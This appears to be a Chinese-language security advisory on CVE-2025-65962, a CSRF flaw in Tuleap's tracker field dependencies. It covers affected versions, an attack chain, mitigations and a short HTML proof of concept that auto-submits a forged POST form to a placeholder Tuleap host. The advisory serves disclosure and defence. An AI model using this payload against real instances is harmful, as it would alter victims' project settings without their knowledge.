CVE-2025-65962 CVSS 4.6 中危

CVE-2025-65962 Tuleap跟踪器字段依赖CSRF漏洞

披露日期: 2025-12-09

来源: [email protected]

漏洞信息

漏洞编号

CVE-2025-65962

漏洞类型

CSRF

CVSS评分

4.6 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

需要交互 (UI:R)

影响产品

Tuleap Community Edition, Tuleap Enterprise Edition

漏洞概述

CVE-2025-65962是Tuleap项目管理平台中的一个跨站请求伪造（CSRF）漏洞。该漏洞存在于Tuleap的跟踪器（Tracker）功能模块中，具体影响跟踪器字段依赖关系的CSRF保护机制。攻击者可以利用此漏洞通过构造恶意链接，诱使已登录用户在不知情的情况下修改跟踪器字段配置。由于Tuleap被广泛应用于软件开发和协作管理场景，此漏洞可能影响多个项目的数据完整性和工作流程配置。漏洞影响Tuleap Community Edition 17.0.99.1763803709之前版本以及Tuleap Enterprise Edition 17.0-4和16.13-9之前的版本。

技术细节

该CSRF漏洞存在于Tuleap跟踪器的字段依赖功能中。攻击者可以构造一个恶意HTML页面或链接，包含自动提交的表单，该表单模拟用户对跟踪器字段依赖关系的修改请求。由于Tuleap在处理跟踪器字段依赖配置时缺少适当的CSRF令牌验证，攻击者可以利用已登录用户的会话执行未授权的操作。攻击者通常会诱骗目标用户访问恶意页面或点击包含自动提交表单的链接。一旦用户触发请求，浏览器会自动携带用户的有效会话cookie向Tuleap服务器发送请求，从而在用户不知情的情况下修改跟踪器的字段依赖配置，影响项目的跟踪器设置和数据管理流程。

攻击链分析

STEP 1

步骤1

攻击者创建恶意页面或钓鱼链接，包含自动提交的表单，模拟Tuleap跟踪器字段依赖修改请求

STEP 2

步骤2

攻击者通过社交工程手段（如钓鱼邮件、即时消息等）诱骗已登录的Tuleap用户访问恶意页面或点击链接

STEP 3

步骤3

用户浏览器自动发送POST请求到Tuleap服务器，携带用户的有效会话cookie

STEP 4

步骤4

Tuleap服务器由于缺少CSRF验证，处理请求并修改跟踪器的字段依赖配置

STEP 5

步骤5

攻击者成功在用户不知情的情况下篡改项目跟踪器设置，影响数据完整性

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- CSRF PoC for CVE-2025-65962 - Tuleap Tracker Field Dependencies -->
<!-- This PoC demonstrates how an attacker can modify tracker field dependencies -->
<!DOCTYPE html>
<html>
<head>
    <title>Tracker Update</title>
</head>
<body>
    <h1>Please wait...</h1>
    <form id="csrf_form" action="https://target-tuleap.com/plugins/tracker/?aid=45632" method="POST">
        <input type="hidden" name="field_id" value="123">
        <input type="hidden" name="dependency_field_id" value="456">
        <input type="hidden" name="action" value="update_dependency">
        <input type="hidden" name="csrf_token" value="">
    </form>
    <script>
        // Auto-submit form on page load
        document.getElementById('csrf_form').submit();
    </script>
</body>
</html>

影响范围

Tuleap Community Edition < 17.0.99.1763803709

Tuleap Enterprise Edition < 17.0-4

Tuleap Enterprise Edition < 16.13-9

防御指南

临时缓解措施

如果无法立即升级，可通过以下方式缓解：1) 启用Tuleap的反CSRF中间件；2) 限制用户对跟踪器字段依赖功能的访问权限；3) 监控审计日志中的异常跟踪器配置变更；4) 加强对用户的钓鱼攻击防范意识培训，避免点击来源不明的链接。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表